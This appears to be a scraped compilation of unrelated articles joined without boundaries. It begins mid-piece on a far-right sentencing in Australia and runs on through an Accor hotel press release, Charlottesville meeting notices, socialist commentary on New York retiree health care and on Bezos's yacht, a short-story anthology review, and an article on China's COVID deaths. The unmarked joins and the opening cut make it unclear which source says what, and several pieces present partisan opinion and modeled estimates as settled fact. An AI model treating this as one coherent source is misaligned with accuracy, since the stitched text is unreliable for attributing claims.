Whatever the reasons behind Balleks decision not to sentence Sewell to time in prison, it will embolden these layers, who will see this as a victory. Five days after the sentencing, the EAM carried out a political stunt at Elwood Beach, Melbourne. A photo surfaced of a group of 25 males, including one child, giving the Nazi salute with the EAM flag unfurled.

Sewells sentence is a sharp contrast to the punishment handed to Deanna Violet Coco, who participated in a climate change protest in New South Wales last year, briefly holding up one lane of Sydney Harbour Bridge traffic. She was sentenced to 15 months jail under draconian anti-protest laws, with a minimum of eight months before parole, and initially, denied bail to appeal.

In Australia, as is the case globally, there is growing social unrest due to the decades of assaults on workers jobs, living standards and conditions. The bolstering of far-right forces by the political establishment is a warning that these elements will be used against the population as other ruling class mechanisms for control are increasingly unable to hold back the developing class struggle.
Accor, a world leading hospitality group, plans to grow its presence in the South Caucasus and Central Asia in 2023 by more than 60% following a series of strategic signings.



In 2022 the Group signed 15 new projects under six hotel brands adding more than 2,100 rooms to its existing portfolio of 24 hotels in these regions. Accor will open nine properties in this area in 2023, five of which were signed in 2022.



New Accor hotels will open in the well-known capitals  Baku, Azerbaijan; Tashkent, Uzbekistan; and Tbilisi, Georgia. The Groups brands will also debut in picturesque resorts such as Kobuleti in Georgia, Charvak Lake in Uzbekistan, Tsaghkadzor in Armenia. The growth in the region is dominated by Accors globally renowned glocal midscale brand Mercure, with six signings across the region in 2022.



Mercure combines the strength of an international network of nearly 1000 hotels, with genuine and local hospitality experiences. A third of signings in 2022 was for the Groups leading premium brands Movenpick and Swissotel, bringing a further five properties to the region in the coming years. This year alone, Accor will open three Movenpick hotels and two Swissotels in Georgia, Armenia, Azerbaijan and Uzbekistan, introducing the legendary brands with Swiss heritage in the new destinations and offering services according to the highest international hospitality standards.



In 2022, Accor opened five hotels in the South Caucasus and Central Asia, with a total of 619 rooms, ranging from economy to premium brands  ibis budget, Mercure, Novotel Living and Pullman  solidifying Accors presence and commitment to development in these regions and delivering great locations, designs and exclusive opportunities to guests.



The past year has been successful for us in expanding our portfolio in the countries of the South Caucasus and Central Asia. We have entered the Uzbekistan market and signed seven landmark projects over the year with two hotels already open and welcoming their first guests. Accor has actively developed business in Georgia by opening flagship hotels in the capital and adding new projects to the opening pipeline. In addition, Accor has continued to expand our presence in Azerbaijan, Kazakhstan and Armenia, said Alexis Delaroff, COO of Accor New East Europe.



In 2023, we continue to drive growth in those countries and expect to sign more than 20 new projects, confirming and strengthening our leading positioning in the hospitality industry in the region.



We expect international travels to fully recover in 2023, with tourist flows going above the pre-pandemic levels in the region. I am sure that the opening of new hotels under the world-famous Accor brands will make a significant contribution to the development of the tourism industry, while our guests from all over the world will discover unique places and experiences in the South Caucasus and Central Asia.



Georgia

In 2022, the Group reaffirmed its commitment to support the tourism industry in Georgia and strengthen its positioning in the country. Accor opened two hotels in Tbilisi last summer: the affordable ibis budget Tbilisi Center and the premium Pullman Tbilisi Axis Towers. The Group will introduce new properties in Georgia: in particular, Novotel Tbilisi Center and Swissotel Tbilisi are among the planned openings for 2023. Following the 2022 signing, the first hotel in the Kakheti region  Mercure Telavi Resort  will open in 2025.



Paying tribute to the most popular resorts in Georgia, in 2026 Accor in partnership with leading Georgian development company Archi will open Movenpick Kobuleti in the second largest city in Adjara and one of the most popular resorts in the country  Kobuleti. Offering 120 rooms, the hotel will be located in a new high-rise building on the Black Sea coast within walking distance from the beach. Thanks to the Movenpick Family program, adults and children will truly enjoy spending time together. Guests will be able to try one of Movenpicks signature experiences  Chocolate Hour featuring a variety of chocolate desserts every day.



Kazakhstan

Kazakhstan remains one of the priority markets for Accor. Kazakhstan recorded almost 200,000 international tourists visiting the country last year. Accor is strengthening its presence in Kazakhstan and expanding its offer in the region in line with the post-pandemic long-stay travel trend. In March 2022, Accors new Novotel Living brand debuted in the region  Novotel Living Almaty Jetisu opened in Almaty on the site of one of the oldest hotels in Kazakhstan following a large-scale reconstruction of the building. Accor has ambition to introduce new projects in Kazakhstan in coming years.



Uzbekistan

Uzbekistan has become a new country of presence on the Accor map. In December, the first Accor hotels opened in the country: Mercure Tashkent and Mercure Bukhara Old Town. Uzbekistan will be even more important for Accor in 2023. At the beginning of the year, the Group's collection will expand with the opening of Movenpick Samarkand, while another hotel under the Swissotel brand will debut in Tashkent in the summer. Swissotel in Charvak, Mercure in Khiva, ibis in Tashkent will open in the next years. In addition, the Group is negotiating new signings in the country, including a luxury hotel in the capital, as well as new projects in various regions, including Ferghana Valley, Nukus and other major cities.



Armenia

The strength of Accors network across Armenia continues to grow with the upcoming opening of the first Mercure in Tsaghkadzor, one of the country's most popular ski and wellness resorts. Scheduled to open in 2023, it will be the first of many new projects in Armenia in the coming years.



Azerbaijan

Accor will open two new hotels in Azerbaijan in 2023. Mercure Baku City, combining modern design with the national flavour, will be located in the city centre just a few steps away from the main attractions. Later in the year, Accor will introduce the premium Movenpick Winter Park Baku, which will be located on the territory of Winter Park in close proximity to the large pedestrian and shopping street  Nizami Street. In accordance with the current development plan, in 2023 the Group will continue to explore opportunities for new openings in the sea, health and ski resorts of Azerbaijan.  TradeArabia News Service
Planning panel meets today

The Albemarle County Planning Commission will have its next regular meeting at 6 p.m. on Tuesday.

The agenda includes, among other items, a public hearing on the former J.C. Penney building at Fashion Square mall. A proposal would establish the space as an operations center for Albemarle Countys police and fire rescue teams to use for storage, office space and maintenance of fire rescue equipment.

After the closure of the J.C. Penney in August 2020, the property was bought that September for $4.5 million by Fashion Square Assets, which is under Seminole Trail Management. The space has been used only occasionally since then, serving as a COVID-19 vaccine clinic for the Blue Ridge Health Department between March and June 2021.

Members of the public may attend Tuesdays meeting in person at Lane Auditorium in the County Office Building at 401 McIntire Road in Charlottesville. Virtual options are also available: via phone at (312) 626-6799 or the toll-free (877) 853-5247 as well as through Zoom at https://albemarle-org.zoom.us/j/89227239797.

Emails regarding technical issues or signing up for public comment may be sent to Clerk of Planning Commission and Boards Carolyn Shaffer at cshaffer2@albemarle.org.

UVa hosts ambassador

The University of Virginias Center for Politics plans to host a dialogue on Tuesday with Chilean Ambassador Juan Gabriel Valdes

Valdes planned discussion with UVa history professor Thomas Klubock includes the relationship between Chile and the U.S. as well as Chiles recent vote to draft a new constitution. Audience questions will also be heard.

Valdes appearance is part of the centers Ambassador Series, which has invited ambassadors from around the world to UVa since 2014. Valdes previously served as Chiles minister of foreign affairs, ambassador to the United Nations, ambassador to Spain, ambassador to Argentina and chief of the U.N. mission in Haiti.

The event will be held in the Dome Room of the Rotunda at UVa. Tickets to attend both in person or virtually are available at Eventbrite. To find the registration link, visit https://rotunda.virginia.edu/.

Planning work session set

The Charlottesville Planning Commission will hold a work session at 5 p.m. Tuesday to discuss potential zoning changes.

The commission will consider changes to the Critical Slopes ordinance, which is designed to protect environmentally sensitive areas by encouraging development in areas without certain steep slopes. Also slated for review is an ordinance regarding floodplains and the design review process for development along roads into the citys historic core areas.

Members of the public may attend in person in the CitySpace Main Conference room at 100 Fifth St. NE in Charlottesville. Public comment will be accepted in writing at the meeting or by emailing comments to creasym@charlottesville.gov during the meeting.
New York City mayor Eric Adams speaking during a news conference, Monday, Nov. 21, 2022 after two men who authorities say represented a real danger to the city's Jewish community, were arrested. [AP Photo/NYC Office of the Mayor]

Last week, New York Citys Democrat-dominated City Council declined to vote on a measure that would have allowed the city to charge fees to city retirees for health care insurance, a measure being pushed by the right-wing administration of Democratic Mayor Eric Adams and representatives of the city unions on the Municipal Labor Committee (MLC).

The vote would have potentially revised Administrative Code Section 12126, under which the over 250,000 retired educators, firefighters, social service, sanitation and other city employees have enjoyed a premium-free plan that covers 20 percent of medical costs since 1967. The program is today called Senior Care.

The city-MLC partnershipmore appropriately called a conspiracyproposed the bill after failing to establish a plan to transfer city retirees to a federally funded, privately administered Medicare Advantage plan in the face of suits brought by the New York City Organization of Public Service Retirees (NYCOoPSR). The lawsuits resulted in decisions in both lower and appeals courts that required the city to honor the administrative code.

A change in the code by the City Council would have allowed the city to impose a monthly fee of $191 for Senior Care. Many retirees cannot afford extra insurance costs when they already must choose between rent, food and medicine, especially retirees from lower-paid occupations such as education paraprofessionals.

The imposition of a premium would force thousands of retirees to switch to the Medicare Advantage plan, which would not charge a premium initially but could limit retirees choice of physicians and medical procedures, including costly treatments for conditions associated with aging. These features are designed to ensure a profit to the private companies that run Medicare Advantage plan.

The MLC wants to move retirees onto Medicare Advantage to fulfill its obligation to find $600 million in savings for the city in health care in 2021 and in every fiscal year thereafter, under a 2018 contractual agreement. That cost cutting is part of a pattern the union formalized in contracts with the city in 2014 and 2018 to pay for wage increases from health care plan savings, which by 2021 had already saved $4.5 billion in health care costs.

The City Council, which is overwhelmingly Democratic and includes many supporters of Mayor Adams, made a tactical retreat in the face of massive opposition to the plan. On January 9, over 200 retirees testified to the council condemning the plan, while hundreds more outside the chambers demanded to be let in. Medicare Advantage is also broadly opposed by in-service city workers.

Adams has previously said he will unilaterally act to change retirees health care structure. This will undoubtedly initiate legal action by retirees organizations once again.

But this is not the end of the matter, and absolutely no confidence can be placed in the city council or the capitalist courts to protect workers right to decent health care. The demands for austerity are a part of a political and economic program of both Democrats and Republicans. According to the pro-business Citizens Budget Commission, health care costs will rise for the city about 8.5 percent in the next three years. One way or another, the Democratic Party intends to implement austerity on a national scale and particularly in New York City, which holds over $100 billion in debt.

Already, the Adams administration has implemented cuts to education and initiated a hiring freeze for thousands of empty city positions. In November, it cut millions of dollars from the education budget, including laying off over 400 early childhood educators and shutting down whole school programs. On January 12, Adams announced another $800 million in cuts to the Department of Education (DOE) budget for next year on top of the $375 million budget cut made over the summer. Attacks on all city services, such as hospitals and transportation, will now go forward.

The most significant aspect of the cuts to health care for retirees is the unrelenting push by the trade unions. It expresses the complete departure of these organizations from any attempt to defend the basic rights of their members. The most vocal advocate for the changes is the head of one of the largest city unions, United Federation of Teachers (UFT) President Michael Mulgrew.

Much of the retirees ire has been understandably directed at Mulgrews big lie tactics. The UFT, for example, emailed retirees when the bill to amend the city administrative code was introduced January 4 telling them that the proposed amendment does not alter any of the protections to our health care, when, in fact, the whole purpose of the amendment is to dramatically downgrade retiree health care.

Mulgrew has also tried to pit current workers against retirees by repeating misinformation in an October 29 letter to active employees from the City Office of Labor Relations. The union warned, If the unions dont go along with [the Medicare Advantage plan], the city has threatened to charge annual health care premiums of roughly $1,500 [annually] for all in service municipal workers, along with the almost $5,000 annual premium on Senior Care.

During the pandemic, the UFT facilitated the citys delayed closure of schools in 2020, then the unsafe reopening of schools in 2021, and then enforced the subsequent dismantling of mitigation measures. All of this resulted in unnecessary deaths and chronic Long COVID among educators, students, and their family members. It ensured the spread of the virus throughout the city, with schools one of the main vectors of viral transmission. Under the false living with COVID policies concocted by the Biden administration and implemented by unions nationwide, retirees were effectively culled from the population as a category that does not produce profits for the super-rich.

The support by Mulgrew, the UFT and the MLC for implementing Medicare Advantage, just like their role during the pandemic, is a poignant example of the integration of the trade unions into the capitalist state, which is in turn controlled by the corporations.

There can be no effective opposition to the attacks on retiree health care that fails to confront this alliance. The pseudo-left opposition in the unions, such as the Movement of Rank-and-File Educators caucus in the UFT politically dominated by the Democratic Socialists of America (DSA), hold rallies that make demands on those who are responsible for the attacksthe Democratic Party and the unions.

City workers, active and retired, must fight the Democratic Party, which is now focused on promoting American imperialisms conquest of Eurasia by war with Russia and soon with China. Every social right of the working class will be sacrificed to supply weaponry and military aid to the war in Ukraine.

The unions are not only budget cutters but front-rank advocates of the war plans of the American ruling class. In October, American Federation of Teachers President Randi Weingarten traveled to Poland and Ukraine on a war propaganda tour, meeting with far-right nationalists.

The force that can defend and extend the right to health care and a secure retirement is the working class itself. New York City has seen an increasing number of strikes in the last two years that are part of the nationally and globally rising class struggleat the Hunts Point Market, Columbia University and NYU graduate workers, part-time faculty at The New School, Harper Collins Publishing workers and most significantly the strike of 7,000 nurses at Mount Sinai and Montefiore hospitals this month. These are part of the transformation of mass social anger into a growing struggle of the working class internationally, such as in France against President Macrons move to raise the minimum age for a full pension by two years.

In August 2021, New York educators, including retirees, organized the Educators Rank-and-File Safety Committee to take back the power from the union apparatus, develop a movement in the working class independent from the two-party political structure controlled by the ruling class and create a network that will unite in action all sectors of the workforce and begin from what workers need, not what the capitalists say they can afford.
According to the New Zealand Herald on January 12, a decision by American billionaire Jeff Bezos to bestow a Maori name on his new superyacht has been met with enthusiastic fawning from New Zealand cultural experts.

Amazon founder Jeff Bezos superyacht under construction near Rotterdam, Netherlands, Wednesday, Oct. 21, 2021. [AP Photo/Guy Fleury]

The Amazon founder is naming his $US500 million boat Koru, meaning new beginnings and continuity. The koru loop or coil, an integral symbol in Maori art, is a spiral shape based on an unfurling silver fern frond. It is frequently used as a design motif, including by Air New Zealand, the national carrier.

The Herald hailed the naming on its Facebook page, commenting: What a win for Aotearoa [New Zealand]! The newspaper then located three prominent individuals, described as Maori cultural experts, to endorse Bezos move.

The sycophantic comments by these representatives of the Maori cultural, political and business elite reveal much about the class orientation of this privileged, venal layer and its indifference to the exploitation of tens of thousands of workers of all races.

Cultural advisor and community advocate Rangi McLean said Bezos decision was a big positive for Aotearoa. He declared: I believe Bezos has taken on our way of life and is taking on board all those aspects. From what I have read, he understands what the koru means and stands for. To have our Kaupapa (principles), not only our reo (language) but our culture, on the world stage, is a good thing.

In 2014 and 2017, McLean unsuccessfully stood for parliament as a candidate for the Maori Party, which represents indigenous business interests and was part of the right-wing government led by the conservative National Party in power from 2008 to 2017.

Merepeka Raukawa-Tait, a former Rotorua district councillor and current chair of the Whanau Ora Commissioning Agency, which distributes government funding to tribal-run by Maori, for Maori social service providers, also weighed in. She said Bezos should take the appropriate cultural measures and have the boat blessed with a suitable Maori delegation in attendance to ensure safety of his boat and all those who sail on it.

It appears he knows the meaning of the word koru, Raukawa-Tait said. And [I] would love to think he would do the right thing and have a naming ceremony that reflects the origin of the word and its significance to Aotearoa.

Academic Bernie ODonnell, a cultural adviser to Auckland University and chairman of the National Urban Maori Authoritywhich negotiates for government funding for tribal-based businessesalso approved of Bezos decision. Should it be that way? Absolutely, because that is normalisation of our culture and our language, and thats where we need to go, he declared.

Amid a global explosion of inequality documented this month by Oxfam, the superyacht is a grotesque display of opulence. At 127 metres, it is twice the length of an Airbus A380 and will be the tallest sailing yacht in the world. Masts are being fitted later to avoid a dismantling of the Koningshaven Bridge in Rotterdam, where it was built, after protests over the tycoons demand that the historical monument be disassembled to accommodate the craft.

The vessel requires a staff of 40 and will cost $50 million a year to operate. It is accompanied by a separate shadow yachta newly constructed floating garage to carry Bezos likely collection of helicopters, cars, motorcycles, jet skis and other toys.

ODonnell, Raukawa-Tait and McLean are hailing one of the richest people on the planet. Bezos has a net worth of over $US109 billion, amassed through brutal operations that have led a sweeping assault on the jobs and conditions of workers globally.

On the New Zealand Heralds Facebook page, many readers denounced the newspapers celebration of Bezos. A comment by Ray, which received over 170 likes, stated: Doesnt matter what he calls [the yacht] he should be considering all those who made him a fortune in the first place. Where is he now theyre all losing their jobs. Obscenity just flaunting your wealth!!

Amazon recently announced it will lay off 18,000 workers in the US amid the counteroffensive by the corporate and financial aristocracy against the demands of workers for better wages and working conditions, including at Amazon warehouses.

Amazon workers, universally low-paid and highly regimented, are confronted by health and safety violations, speedups, increased quotas, harassment and injuries. The US National Council for Occupational Safety and Health in 2018 placed Amazon on its dirty dozen list of employers known for unsafe workplaces.

The deadly consequences saw the launching of US government investigations last year after three workers died in three weeks at Amazon warehouses. In 2022 there were two deaths in the companys operations in Germany. In December 2021, six workers were killed at an Illinois fulfilment centre because Amazon refused to stop work despite tornado warnings.

Amazon is totally indifferent to the risk posed by coronavirus. In April 2020 Chicago Amazon workers marched outside a delivery facility in Chicago chanting, Our lives matter! after management revealed that two workers had tested positive for COVID-19. The firm acknowledged last year that nearly 20,000 Amazon and Whole Foods workers had tested positive for the virus, likely an underestimate.

These extreme conditions have fuelled a surge in protests and strikes in several countries, including during Amazons Black Friday promotion last November, prompting a rush by the trade unions to unionise facilities. The manoeuvre has largely failed due to the unions blatant collaboration with Amazon, their suppression of strikes and workplace actions, and ties to capitalist parties such as the Democrats in the US.

Amazon has no significant workforce in New Zealand, but if a warehouse were established, young Maori workers would be among those dragooned to help generate the companys vast profits. A raft of cultural experts would no doubt be brought forward to reprise the absurd glorification of Bezos sensitivity towards the Maori way of life and, for a suitable fee, arrange culturally approved benedictions.

Under other circumstances the response could easily have been the opposite. Charges of cultural appropriation are often used to denounce any purported misuse of Maori traditions not sanctioned by these same experts.

Last year, for example, Rangi McLean took legal action against a German artist, Gerd Stritzel, who, without permission, used his ta moko (face tattoo) in images placed on the internet for sale. McLeans lawyers sought to prevent the use of any intellectual property, imagery or other material that infringes our clients rights or in any other way misappropriates or misuses Maori cultural images or is offensive to Maori.

Yet McLean finds nothing offensive about Maori culture being appropriated by Bezos, who heads one of the worlds most rapacious corporations and whose net worth is equivalent to nearly eight times New Zealands public healthcare budget.

The three cultural experts quoted by the Herald are part of the Maori elite, who live in a different universe from the mass of the population, Maori and non-Maori alike. Since the 1980s, successive Labour and National Party governments have cultivated this layer through multi-million dollar payments to Maori tribes by the state, purportedly as compensation for the crimes of colonisation.

These payments have been used to establish lucrative business operations based on the exploitation of workers of all races. The proliferation of Maori entrepreneurs, academics, lawyers, politicians and state sector leaders serves as a buffer defending the profit system against the working class.

McLeans Maori Party represents the interests of the indigenous bourgeoisie. When it was in government with National, following the 2008 financial crisis, the Maori Party supported major attacks on the working class, including an increase in consumption tax and the privatisation of social services, in exchange for handouts to the tribal elite.

For the Labour-led government, the promotion of Maori culture and language under the rubric of bi-culturalism, provides a progressive fig leaf for its escalating assault on the working class. Racial and gender identity politicsthe obsession of Labour and the Greens upper middle class supporters and various pseudo-left organisationsplays a central role in diverting public attention from worsening social inequality, the devastating COVID pandemic, and New Zealands integration into US-led preparations for world war.

The craven worship of Jeff Bezos by members of the Maori elite highlights the fact that the fundamental division in society is not race, but class.

According to researcher Max Rashbrooke, wealth inequality within the indigenous population is twice as high as in the NZ population as a whole. Working class Maori, who make up 16 percent of the population, are heavily exploited: on every measure of social and economic wellbeing, including health, housing, education, income and wealth, Maori are highly disadvantaged.

As the economic and social crisis deepens, Maori workers will be driven into struggle alongside their class brothers and sisters of every ethnicity and nationality, in opposition to the Bezoses of the world, the wealthy business elite in New ZealandMaori and non- Maori, and the capitalist system itself, which is the source of inequality and war.
The Best American Short Stories 2022 (Mariner 2022), selected and edited by fiction writer Andrew Sean Greer (The Confessions of Max Tivoli, 2003), presents as strong a selection of writing as the series has featured in a number of years.

In large part, of course, the quality of an issue of BASS depends on the tastes and views of the editor, who selects the 20 stories from the recommendations of hundreds of American and Canadian literary journals and magazines. With a couple of exceptions, in this reviewers opinion, Greer has chosen stories that in their form, language and examination of thematic ideas are highly accomplished, even if the collection as a whole bumps its head against certain objective limits. Just a few of these stories are mentioned below.

Notable stories

The Wind, by Lauren Groff, manages something rarely seen in literary fictionthrilling suspense. A woman beaten nearly to death by her sheriffs deputy husband attempts an escape with her three children. Told by the womans granddaughter many years after the fact, The Wind inhabits a working class world of bad jobs and nearly heartless managers where police cover for and abet each others crimes. It is straightforward realist fiction, and executed flawlessly.

Detective Dog, by Gish Jen, is a more complex story of a Chinese family from Hong Kong newly emigrated to New York during the time of the 2019-20 Hong Kong protests. The story takes up the question of protecting oneself and ones family through quietism and emigration versus participation in political struggle. Though the story does not delve into the complexities of the Hong Kong protests, which were ultimately corralled behind various pro-capitalist parties and organizations, characterization and the depiction of submerged family tensions are noteworthy accomplishments in Detective Dog.

The Best American Short Stories 2022

Post, by Alice McDermott, is the first story in the BASS series to focus on the COVID pandemic. A young couple in New York, now friends, nurse each other through COVID to emerge on the other side altered in an ambiguously altered world. Although it is not clear whether the title and the ending mean to suggest that the pandemic is over or simply that the two protagonists have recovered, the storys depiction of the grueling illness and its consideration of love and compassion under extremity make Post worth reading.

The Meeting, by Alix Ohlin, is one of four or five stories in the last two BASS installments to feature wildfires. In The Meeting, a brand developer for a failed digital media company that has been bought out accompanies her boss on a pilgrimage to the purchasing companys campus in drought-stricken northern California, a sprawling complex whose open spaces are covered in lush green grass. She learns that the diversified company is essentially an incoherent amalgam of enterprises such that even its CEO is perplexed as to its story. Ohlins story is a successful send-up of capitalisms destructiveness, cruelty and irrationality.

The Ghost Birds, by Karen Russell, is a speculative story of a dystopian future in which the planets air has become unbreathable without special suits, and all bird species have become extinct due to climate change and wild fires. A scattered group of people claim to have seen ghost birds haunting the barren present, and one such person takes his daughter out on a dangerous quest for a sighting. The storys dalliance with magical realism is ultimately a portrait of delusion in grief, and Ghost Birds confronts reality with clear-eyed courage.

Sanjena Sathian (Photo creditTony Tulathimutte)

Mr. Ashoks Monument, by Sanjena Sathian, is the best story in the book. Beautifully written in an austere yet humorous voice, Sathians story follows the fate of Mr. Ashok Jagtap, English-language tour guide to the E caves in India. Mr. Ashok, and the narrator, work for the Department of Symbolic Meaning in the Ministry of Culture, National Identity, and Historical Interpretation. The story is a complex meditation on history, memorialization and chauvinism (the GLORIOUS HISTORY is strictly Hindu, Islam representing the wrong history). Mr. Ashoks Monument is a direct satire of Hindu nationalism under Prime Minister Narendra Modi, but its themes are globally applicable in a time of proliferating ultra-right governments and of postmodern/postcolonial identity politics and its promotion of historical falsification and speaking ones own truth.

The state of the art

While the stories in BASS 2022 clearly stood out to Greer, it is also safe to say that his final selections are representative of the sort of thing being done by American short story writers generally. Greer, we are told on the back of the book, lives in San Francisco and Milan, and he has taught at Stanford and at the Iowa Writers Workshop. He comes from the same general milieu as many of the writers in the collection (at least 11 of the 20 authors hold a masters degree in fine arts [MFA] and teach writing in colleges or universities). His tastes, therefore, are likely to align more or less with those of the majority of American MFAs and writing instructors.

There is nothing inherently wrong with a writer being an academic. Nevertheless, academia, and especially the humanities, particularly in our historical moment, carry with them certain ideological baggage. The stories in BASS tend to speak to the ideas and attitudes one will find in the various MFA programs and, consequently, in most of the hundreds of small literary reviews that publish short stories.

American short stories, and novels, despite displaying a rich diversity of settings, voices and subject matter, share a relatively narrow palette of thematic ideas and political dispositions. In recent years, this palette has been dominated by identity politicsthe obsession with the self and with race and gender as defining categoriesthat saturates college campuses, the Democratic Party and official American liberal culture generally.

Despite the pressures and inducements to take part enthusiastically in race and gender politics, many writers have honestly registered the pressing crises of recent yearsCOVID, climate change, wealth inequality, the threat of fascismand as these crises intensify this is happening more and more. BASS 2022 is evidence of this healthy trend.

A number of the stories in this anthology foreground matters of climate change, poverty, the pandemic, police brutality, nationalism and government suppression of democratic rights. In none of these stories, however (with the exceptions of Alix Ohlins The Meeting, Sanjena Sathians Mr. Ashoks Monument and, to an extent, Hector Tobars The Sins of Others), is the crisis in question examined critically, let alone with an eye toward probing it to its bottom.

It is telling, for instance, that in her foreword to BASS 2022, series editor Heidi Pitlor should mouth the standard Democratic/New York Times/MSNBC view of the issues of the moment:

As we lurch our way through and hopefully out of a pandemic that is more persistent than any of us would like; as we witness an autocracy attempt to violently overtake a democracy in Ukraine and the threat of another world war; as the news of climate change alarms almost daily, the power of good art, of excellent fiction to reorient the reader toward what truly matters never fails to inspire me. . . . Reading these stories, I was reminded of the value of societal cohesion and kindness. We must take better care of each other.

Where does one begin? In all these insipid formulations, Americans are isolated individuals who watch television and feel things. COVID-19 is to be countered with hope; Ukraine is a democracy and, presumably, the US and NATO are compassionate saviors, and the answer to social and political questions generally is individual kindness. Such sentiments, freed as they are from actual historical awareness and political principle, are not likely to prove helpful in identifying good art or excellent fiction, i.e., work that is genuinely urgent, compelling, truthful.

A short story portraying the US as a defender of democracy in Ukraine, for instance, would fundamentally (and fatally) misrepresent reality and, however attractive its prose or moving its plot, would qualify more as propaganda than as important and lasting art.

None of which is meant to suggest that the authors featured in BASS 2022 are writing in bad faith. Most are confronting the crises and contradictions of our time, on the level of the individual human life, to the best of their ability, working on the basis, however, of a very limited understanding of the critical social questions of the day. As these crises and contradictions continue to intensify, still more writers will train their gaze outward, and to still better artistic effect.
This week marks three years since the Chinese authorities moved to lock down and isolate Wuhan, a city of more than 11 million people, in response to the initial emergence of the then little-understood coronavirus now known as COVID-19.

It is clear that a colossal calamity has unfolded since the Beijing regime fully scrapped that policy, later termed Zero-COVID, on December 1. While the government has so far reported 73,000 deathsitself a staggering figurethis weeks modeling estimates by the British-based analytics firm Airfinity indicate that more than 700,000 people have died already.

Maligned by the Western powers and media from the outset, for three years the Zero-COVID policy repeatedly contained and eliminated infection transmissions in Chinas major metropolises. This policy, maintained due to public demand for protection from the catastrophe that capitalist governments let loose globally, was an historic achievement.

It demonstrated that it is possible to stop infection through masking, testing and contact tracing, temporary lockdowns and closures of schools and nonessential businesses, mass vaccination and other safety measures.

Now, a terrible price is being paid by the Chinese masses for the regimes abandonment of that policy in what amounts to a craven capitulation to the demands from giant corporations like Apple and imperialist governments, especially the United States, to fully reopen the Chinese economy for the sake of corporate profit.

For more than two years, US imperialism exerted unrelenting pressure on China to lift its Zero-COVID policy, as part of Washingtons intensifying efforts to militarily encircle and subjugate the country. Countless columns and editorials denounced Chinas public health policies for its impact on the global capitalist economy, demanding they be scrapped no matter what the cost in human lives.

This cost was fully known in advance. A study published in May 2022 found that if Omicron were allowed to spread freely in China, in just six months there would likely be 112 million symptomatic cases, 5.1 million hospital admissions, 2.7 million ICU admissions and 1.6 million deaths.

That disaster is now underway. The fraud of herd immunity has been inflicted on Chinas population faster than anywhere else in the world. In seven weeks, the country has gone from just over 5,000 deaths to more than halfway toward the highest level of deaths, that of the US, where 1.128 million people have perished, according to the latest Worldometer count.

While the true scale of the unfolding disaster may never be known with precision, what is happening can only be called a policy of social murder on a massive scale. A horrifying toll has been inflicted since December 1, which is now spreading to the rural masses as millions of migrant workers return from the cities to their home villages for the Lunar New Year festivities.

According to Airfinitys calculations, which have been largely buried in the mass media, COVID-19 infections could peak at 4.8 million per day, with deaths reaching 36,000 a day on January 26. The daily toll would be more than double that of the deaths per month in the American Civil War.

This is a monumental crime, not only against the Chinese working class but their fellow workers internationally. As health experts have warned, the unconstrained spread of the virus in China increases the likelihood that further, possibly more transmissible and deadly mutations of the coronavirus will evolve internationally.

This will take the global pandemic to a grave new stage. Already, over the past three years, according to excess death estimates, more than 21 million people have died directly or indirectly from COVID-19, approximately equal to the total military and civilian deaths during the four-year carnage of World War I.

The Beijing authorities claim that Chinas death toll is far lower than the published estimates, even while declaring that the pandemic has quickly infected 80 percent of the countrys 1.4 billion people, that is, 1.1 billion victims.

Chinas Center for Disease Control and Prevention (CDC) this week reported some 13,000 deaths related to COVID-19 in hospitals from January 13 to 19, adding to the almost 60,000 it reported in the six weeks before that. Yet that data excludes those who died at home, and families and health professionals have reported official pressure not to list COVID-19 on death certificates.

Perversely, Dr. Wu Zunyou, the chief epidemiologist at Chinas CDC, and the Chinese government have used the admission that 80 percent of people have been infected to falsely declare, as have governments around the world, that most people are therefore safe from reinfection.

This flies in the face of the indisputable scientific evidence that COVID-19 reinfections, which have become increasingly common worldwide, multiply the risk of hospitalisation and death. The rapid evolution of new variants also undermines the effectiveness of vaccines and immunity acquired from previous infections.

Having for three years implemented a Zero-COVID policy that repeatedly shut down transmissions, Beijing is now echoing the same lies and propaganda that Western governments have used to justify their own criminal let it rip policies.

From President Xi Jinping down, Chinese authorities are cynically urging the population to believe that the worst of the pandemic is over and to return to normal life, including by celebrating, spending and travelling for the New Year Spring festival. Mass infection is being undertaken in order to revive the economy, which slumped to a 3 percent growth rate last year, the lowest since the beginning of the 1990s.

The Peoples Daily, the Communist Partys official newspaper, positively boasted that 110 million railway passenger trips were made from January 7 to 21, the first 15 days of the 40-day Lunar New Year travel period. Most of these travelers are visiting their families in rural areas, where access to medical care and medications is particularly poor, making further widespread infection inevitable.

Reports continue to emerge of overwhelmed hospitals and morgues and acute shortages of medicines. Online, despite state censorship to block gloomy sentiments, there are numerous reports of personal tragediesstories of people contracting COVID-19, struggling to source medication or health care and losing elderly relatives to the disease.

Clearly aware of the shock and discontent, in his Spring Festival message Xi claimed that his government was committed to putting the people and lives above all elsewhile minimising the impact of COVID-19 in the economic and social fields. He then exhorted people to create a better future through solid work.

How and why has this catastrophe happened? While the Chinese regime bears an immense historic responsibility, it has acted at the behest of the major capitalist powers and transnational corporations. Apple, Nike and other companies threatened to move their production plants to other countries. Small middle-class protests in November against COVID-19 restrictions were trumpeted by the Western media and seized on by the Chinese Communist Party bureaucracy to dismantle all protections against the spread of the virus.

To reassure the global elite, Chinas Vice Premier Liu He appeared before the worlds billionaires at the annual World Economic Forum in Davos last week to inform them that China was open for business because life has been restored to normal in China.

At the same venue, by contrast, along with more than 5,000 armed guards to keep the gathering safe from protests, every conceivable means was taken to protect the participants against COVID-19 infection. That included vaccination with the latest booster jabs prior to their arrival, mandatory PCR tests, free N95 masks, state-of-the-art ventilation and HEPA air cleaners, and UV lights and disinfection systems.

The CCPs dismantling of Zero-COVID to meet the requirements of the global conglomerates and finance giants shows that there is no solution to the disaster within national borders.

The very fact that China suppressed the virus for three years but faced the constant threat of the reintroduction of COVID-19 from abroad testifies to the criminal character of the response to the pandemic in the advanced capitalist countries, above all, in the US and the European Union.

By refusing to implement the elimination strategy pioneered in China, the capitalist elites and their political representatives are responsible for the mutation of SARS-CoV-2 into evermore infectious and immune-evading variants, from Alpha to Omicron and whatever comes next.

A globally unified effort led by the international working class, armed with accurate information provided by principled scientists and medical professionals, is essential to eliminate COVID-19. The profit-driven world capitalist system itself threatens the future of humanity, not just through the pandemic, but also through climate change, ever-increasing social inequality and the threat of World War III.

The shocking death toll in China underscores the warning that the WSWS issued in its New Year statement: In their promotion of herd immunity as a legitimate response to the pandemic and in their willingness to risk nuclear war in a confrontation with Russia, the imperialist powers are demonstrating a homicidal contempt for the lives of the great mass of the worlds population. Only the intervention of the working class, armed with an international socialist program, can provide humanity with a way out of the disaster created by capitalism.
